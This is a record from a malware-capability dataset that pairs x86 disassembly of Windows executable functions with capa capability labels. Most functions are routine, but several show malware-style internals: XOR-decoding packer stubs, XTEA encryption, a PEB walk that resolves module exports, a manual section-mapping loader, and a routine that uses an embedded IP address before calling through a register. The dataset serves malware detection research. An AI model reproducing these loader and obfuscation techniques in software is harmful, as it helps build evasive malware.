joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425ac0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebp, dword [sym.imp.msvcrt.dll__errno]
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
test ebx, ebx
je 0x425aff
lea esi, [esi]
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
je 0x425b10
test eax, eax
jle 0x425b17
add esi, eax
sub ebx, eax
jne 0x425ae0
add esp, 0x1c
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret
call ebp
cmp dword [eax], 4
je 0x425ae0
add esp, 0x1c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x427aa0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
lea eax, [ebp - 0x8c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x88]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x8c], pe_nt_image_headers32
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_getsockname]
sub esp, 0xc
test eax, eax
jne 0x427af2
movzx eax, word [ebp - 0x86]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_ntohs]
sub esp, 4
movzx eax, ax
leave
ret
mov eax, 0xffffffff
leave
ret

Function at 0x427c40
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x50
call fcn.00427b00
test al, al
jne 0x427c60
mov ebx, 0xffffffff
lea esp, [ebp - 8]
mov eax, ebx
pop ebx
pop esi
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], 0
mov dword [esp], 0x17
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_socket]
sub esp, 0xc
cmp eax, 0xffffffff
mov ebx, eax
je 0x427c51
lea eax, [ebp - 0x2c]
mov esi, dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x28], 0
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0xfffffffb
mov dword [esp + 4], 0xffff
mov dword [esp], ebx
call esi
sub esp, 0x14
cmp eax, 0xffffffff
je 0x427cf2
lea eax, [ebp - 0x28]
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 0x29
mov dword [esp], ebx
call esi
sub esp, 0x14
cmp eax, 0xffffffff
jne 0x427d03
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
sub esp, 4
jmp 0x427c51
xor eax, eax
mov dword [ebp + eax - 0x24], 0
add eax, 4
cmp eax, 0x1c
jb 0x427d05
mov eax, 0x17
mov word [ebp - 0x24], ax
movzx eax, word [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
mov eax, dword [0x4b5a48]
sub esp, 4
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [0x4b5a4c]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4b5a50]
mov dword [ebp - 0x14], eax
mov eax, dword [0x4b5a54]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_bind]
sub esp, 0xc
cmp eax, 0xffffffff
je 0x427cf2
cmp dword [ebp + 0xc], 1
jne 0x427c56
mov dword [esp + 4], 4
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_listen]
sub esp, 8
cmp eax, 0xffffffff
jne 0x427c56
jmp 0x427cf2
Function at 0x427dd0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x54
call fcn.00427b00
test al, al
jne 0x427df0
mov eax, 0xffffffff
mov ebx, dword [ebp - 4]
leave
ret
xor eax, eax
mov dword [ebp + eax - 0x28], 0
add eax, 4
cmp eax, 0x20
jb 0x427df2
mov eax, dword [ebp + 0x10]
lea ebx, [ebp - 0x38]
mov dword [esp + 8], 0x4b5a34
mov dword [esp + 4], 0x10
mov dword [esp], ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], 0
mov dword [esp + 0xc], eax
call fcn.00427da0
lea eax, [ebp - 0x3c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x28]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
sub esp, 0x10
test eax, eax
mov eax, dword [ebp - 0x3c]
jne 0x427ee1
test eax, eax
je 0x427de0
mov edx, dword [eax + 0xc]
mov dword [esp + 8], edx
mov edx, dword [eax + 8]
mov dword [esp + 4], edx
mov eax, dword [eax + 4]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
sub esp, 0xc
mov eax, dword [ebp - 0x3c]
cmp ebx, 0xffffffff
je 0x427ed0
mov edx, dword [eax + 0x10]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x18]
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_connect]
sub esp, 0xc
cmp eax, 0xffffffff
je 0x427ec1
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, ebx
sub esp, 4
jmp 0x427de5
mov dword [esp], ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp - 0x3c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
sub esp, 4
jmp 0x427de0
test eax, eax
jne 0x427ed0
jmp 0x427de0

Function at 0x42fe50
Capabilities:
Enumerate pe sections

Disassembly:
push esi
push ebx
mov edx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
add edx, dword [edx + 0x3c]
movzx esi, word [edx + 6]
movzx eax, word [edx + 0x14]
test esi, esi
lea eax, [edx + eax + 0x18]
je 0x42fe88
xor edx, edx
nop
mov ecx, dword [eax + 0xc]
cmp ecx, ebx
ja 0x42fe7e
add ecx, dword [eax + 8]
cmp ebx, ecx
jb 0x42fe8a
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x42fe70
xor eax, eax
pop ebx
pop esi
ret
Function at 0x431160
Capabilities:
Allocate thread local storage

Disassembly:
push esi
push ebx
sub esp, 4
mov esi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x431190
mov dword [esi], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
add esp, 4
pop ebx
pop esi
jmp fcn.00440ab0
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 4
pop ebx
pop esi
jmp eax

Function at 0x4315d0
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0x1c
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
je 0x431604
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [0x4c0578], eax
call fcn.00440ab0
test eax, eax
sete al
movzx eax, al
mov dword [0x4a53c0], eax
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x4315f3

Function at 0x431710
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x3c
mov eax, dword [eax + 0xc]
mov edi, dword [esi + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx]
mov dword [ebp - 0x20], edi
jmp 0x43173c
mov dword [0x4c057c], ecx
mov eax, dword [ebx]
mov eax, dword [eax]
mov dword [ebx], eax
test eax, eax
je 0x4317f8
mov edi, dword [eax + 0x18]
mov eax, dword [ebp - 0x20]
mov edx, dword [esi + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 0x18], eax
mov eax, dword [esi]
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
call eax
test eax, eax
jne 0x431850
test edi, edi
je 0x4317bb
mov eax, dword [esi]
mov edx, dword [esi + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0xa
mov dword [esp], 1
call edi
cmp eax, 7
je 0x431860
cmp eax, 8
jne 0x431850
mov eax, dword [ebx]
mov ecx, dword [eax]
mov eax, dword [0x4a53c0]
test eax, eax
js 0x431836
test eax, eax
je 0x431730
mov eax, dword [0x4c0578]
mov dword [esp + 4], ecx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
jne 0x431736
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x431736
mov eax, dword [esi]
mov edi, dword [ebp - 0x20]
mov edx, dword [esi + 4]
mov dword [esp + 0x14], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x18], edi
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], edx
mov dword [esp + 4], 0x1a
mov dword [esp], 1
call eax
test eax, eax
jne 0x431850
lea esp, [ebp - 0xc]
mov al, 5
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [ebp - 0x24], ecx
call fcn.00431610
mov eax, dword [0x4a53c0]
mov ecx, dword [ebp - 0x24]
jmp 0x4317c8
lea esp, [ebp - 0xc]
mov eax, 2
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, 7
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x431a70
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
mov eax, dword [0x4a53c0]
mov ebx, dword [ebp + 8]
test eax, eax
js 0x431b52
test eax, eax
mov edi, dword [0x4c057c]
jne 0x431af0
test edi, edi
mov dword [ebp - 0x1c], edi
je 0x431ae3
mov eax, edi
lea esi, [ebp - 0x1c]
nop
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x431ad7
mov dword [esp + 0x14], esi
mov dword [esp + 0x10], ebx
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
mov dword [esp + 4], 1
mov dword [esp], 1
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
call ecx
cmp eax, 6
je 0x431b20
cmp eax, 8
jne 0x431b45
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
test eax, eax
mov dword [ebp - 0x1c], eax
jne 0x431aa0
mov eax, 5
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov edi, dword [0x4c0578]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov edi, eax
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
sub esp, 4
jmp 0x431a93
mov eax, dword [ebp - 0x1c]
mov edx, esi
mov dword [ebx + 0xc], 0
mov dword [ebp - 0x1c], edi
mov dword [ebx + 0x10], eax
mov eax, ebx
call fcn.00431520
cmp eax, 7
jne 0x431ae8
mov eax, esi
call fcn.004316a0
lea esp, [ebp - 0xc]
mov eax, 3
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.00431610
mov eax, dword [0x4a53c0]
jmp 0x431a89

Function at 0x431c00
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov edx, dword [0x4a53c0]
mov ebx, dword [ebp + 8]
test edx, edx
js 0x431c76
test edx, edx
mov eax, dword [0x4c057c]
jne 0x431c4e
mov ecx, dword [ebx + 0xc]
lea esi, [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
mov edx, esi
mov eax, ebx
test ecx, ecx
jne 0x431c3f
call fcn.00431520
cmp eax, 7
je 0x431c47
call sub.msvcrt.dll_abort
nop
call fcn.00431710
jmp 0x431c35
mov eax, esi
call fcn.004316a0
mov esi, dword [0x4c0578]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
push edi
jmp 0x431c1f
call fcn.00431610
mov edx, dword [0x4a53c0]
jmp 0x431c16
Function at 0x431c90
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0xc]
test eax, eax
je 0x431cd0
mov edx, dword [0x4a53c0]
test edx, edx
js 0x431d14
test edx, edx
mov eax, dword [0x4c057c]
jne 0x431ce8
mov dword [ebp - 0x1c], eax
lea edx, [ebp - 0x1c]
mov eax, ebx
call fcn.00431710
cmp eax, 7
je 0x431ce0
call sub.msvcrt.dll_abort
lea esi, [esi]
mov dword [esp], ebx
call fcn.00431a70
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x1c]
call fcn.004316a0
mov esi, dword [0x4c0578]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, esi
sub esp, 4
jmp 0x431cb6
call fcn.00431610
mov edx, dword [0x4a53c0]
jmp 0x431cad

Function at 0x432cf0
Capabilities:
Query environment variable

Disassembly:
push ebx
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x10], 1
mov dword [esp + 8], ebx
pop ebx
jmp fcn.004326c0
Function at 0x4737a0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x1c
mov esi, dword [esp + 0x30]
mov ebx, dword [esp + 0x34]
mov ecx, edi
call fcn.00473620
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
call sub.msvcrt.dll__read
cmp eax, 0xffffffff
mov ebp, eax
je 0x4737e0
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.msvcrt.dll__errno]
cmp dword [eax], 4
je 0x4737b1
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x11657707
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x615e6748
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x401d70
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
mov eax, dword [ecx]
mov ecx, dword [ecx + 4]
push ebx
push esi
bswap eax
bswap ecx
xor edx, edx
mov dword [ebp - 4], 0x20
push edi
lea esp, [esp]
mov edi, dword [ebp + 0xc]
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0xc]
add eax, esi
sub edx, 0x61c88647
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
add ecx, esi
dec dword [ebp - 4]
jne 0x401d90
mov edx, dword [ebp + 8]
pop edi
bswap eax
bswap ecx
pop esi
mov dword [edx], eax
mov dword [edx + 4], ecx
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x401e00
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
add edx, 7
shr edx, 3
dec edx
mov dword [ebp - 0xc], edx
js 0x401ec5
push ebx
push esi
push edi
jmp 0x401e23
mov eax, dword [ebp + 8]
lea ecx, [eax + edx*8 - 8]
test edx, edx
jne 0x401e2e
mov ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
mov ecx, dword [eax + edx*8]
mov eax, dword [eax + edx*8 + 4]
bswap ecx
bswap eax
mov edx, 0xc6ef3720
mov dword [ebp - 4], 0x20
mov edi, dword [ebp + 0x10]
mov esi, edx
shr esi, 0xb
and esi, 3
mov esi, dword [edi + esi*4]
bswap esi
add esi, edx
mov edi, ecx
shr edi, 5
mov ebx, ecx
shl ebx, 4
xor edi, ebx
add edi, ecx
xor esi, edi
mov edi, dword [ebp + 0x10]
sub eax, esi
add edx, 0x61c88647
mov esi, edx
and esi, 3
mov esi, dword [edi + esi*4]
mov edi, eax
shr edi, 5
mov ebx, eax
shl ebx, 4
bswap esi
xor edi, ebx
add esi, edx
add edi, eax
xor esi, edi
sub ecx, esi
dec dword [ebp - 4]
jne 0x401e48
mov edx, dword [ebp - 0xc]
mov esi, dword [ebp + 0xc]
bswap ecx
mov dword [esi + edx*8], ecx
lea ecx, [esi + edx*8 + 4]
bswap eax
mov dword [ecx], eax
mov eax, dword [ebp - 8]
mov edi, dword [eax]
xor dword [esi + edx*8], edi
mov eax, dword [eax + 4]
xor dword [ecx], eax
dec edx
mov dword [ebp - 0xc], edx
jns 0x401e20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x72e7aa
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.0072e829
jae 0x72e7b6
xor ecx, ecx
call fcn.0072e829
jae 0x72e7e0
xor eax, eax
call fcn.0072e829
jae 0x72e7f1
mov al, 0x10
call fcn.0072e829
adc al, al
jae 0x72e7d2
jne 0x72e81e
stosb byte es:[edi], al
jmp 0x72e7b7
call fcn.0072e835
dec ecx
loop 0x72e7fd
mov eax, ebp
call fcn.0072e833
jmp 0x72e81f
lodsb al, byte [esi]
shr eax, 1
je 0x72e845
adc ecx, 2
mov ebp, eax
jmp 0x72e81f
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.0072e833
cmp eax, 0x7d00
jae 0x72e81d
cmp eax, 0x500
jae 0x72e81e
cmp eax, 0x7f
ja 0x72e81f
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x72e7b7
pop ebp
ret 8

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
mov ecx, 0x469052fd
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x431024
nop
nop
nop
nop
nop
mov eax, section..reloc
mov ebx, 0x42f3f8
nop
mov ecx, 0x58e13bf4
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x418d50
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
dec eax
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
dec eax
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
dec ecx
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x420b80], ecx
inc edx
cmp edx, 0x100
jb 0x418d52
cmp edx, 0x800
jae 0x418e29
lea esp, [esp]
mov eax, dword [edx*4 + 0x420780]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x420b80]
inc edx
mov dword [edx*4 + 0x420b7c], eax
cmp edx, 0x800
jb 0x418e00
mov eax, 0x419630
mov dword [0x420b74], eax
mov dword [0x422b80], eax
mov dword [0x420b70], 0x419550
call fcn.00419060
test eax, eax
jne 0x418e55
mov dword [0x422b80], 0x419550
ret

Function at 0x40b15a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x40b168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x40b14a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x40b145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x40b145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x10001000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x10056848
push 0x136000
push 0x10056850
call fcn.10001830
push 0x10056850
call fcn.10001080
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10001046
push dword [ebp + 8]
push ebx
call fcn.10001b70
add esp, 8
test eax, eax
jne 0x1000104b
push ebx
call fcn.10001d30
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
sub esp, 0x848
mov ecx, 0x212
mov edi, esp
mov esi, str.103.97.229.59
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.10001d30
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100016b0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004b8d0
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x1018c880]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0x10]
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ebp - 0x18], eax
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
xor edx, edx
mov eax, dword [esi]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], ecx
movzx eax, word [eax + 6]
cmp edx, eax
jge 0x1000176d
cmp dword [ecx + 0x10], 0
push 0x10054c2c
je 0x1000177f
jmp 0x10001796
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x24], 0x36
call fcn.10003582
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x28], 0x43
call fcn.10003582
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
mov eax, 0x100017d0
ret

Function at 0x10001830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
push edi
xor edi, edi
test ebx, ebx
jle 0x10001883
mov dword [ebp + 0xc], 0x6d9
push esi
nop dword [eax + eax]
mov eax, dword [ebp + 0x10]
mov esi, ecx
movsx eax, byte [edi + eax]
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
add dl, 0x4f
xor byte [eax + ecx], dl
mov eax, 0xcccccccd
mul ecx
inc ecx
shr edx, 2
lea eax, [edx + edx*4]
lea edx, [edi + 1]
xor edi, edi
cmp esi, eax
cmovne edi, edx
cmp ecx, ebx
jl 0x10001850
pop esi
pop edi
pop ebx
pop ebp
ret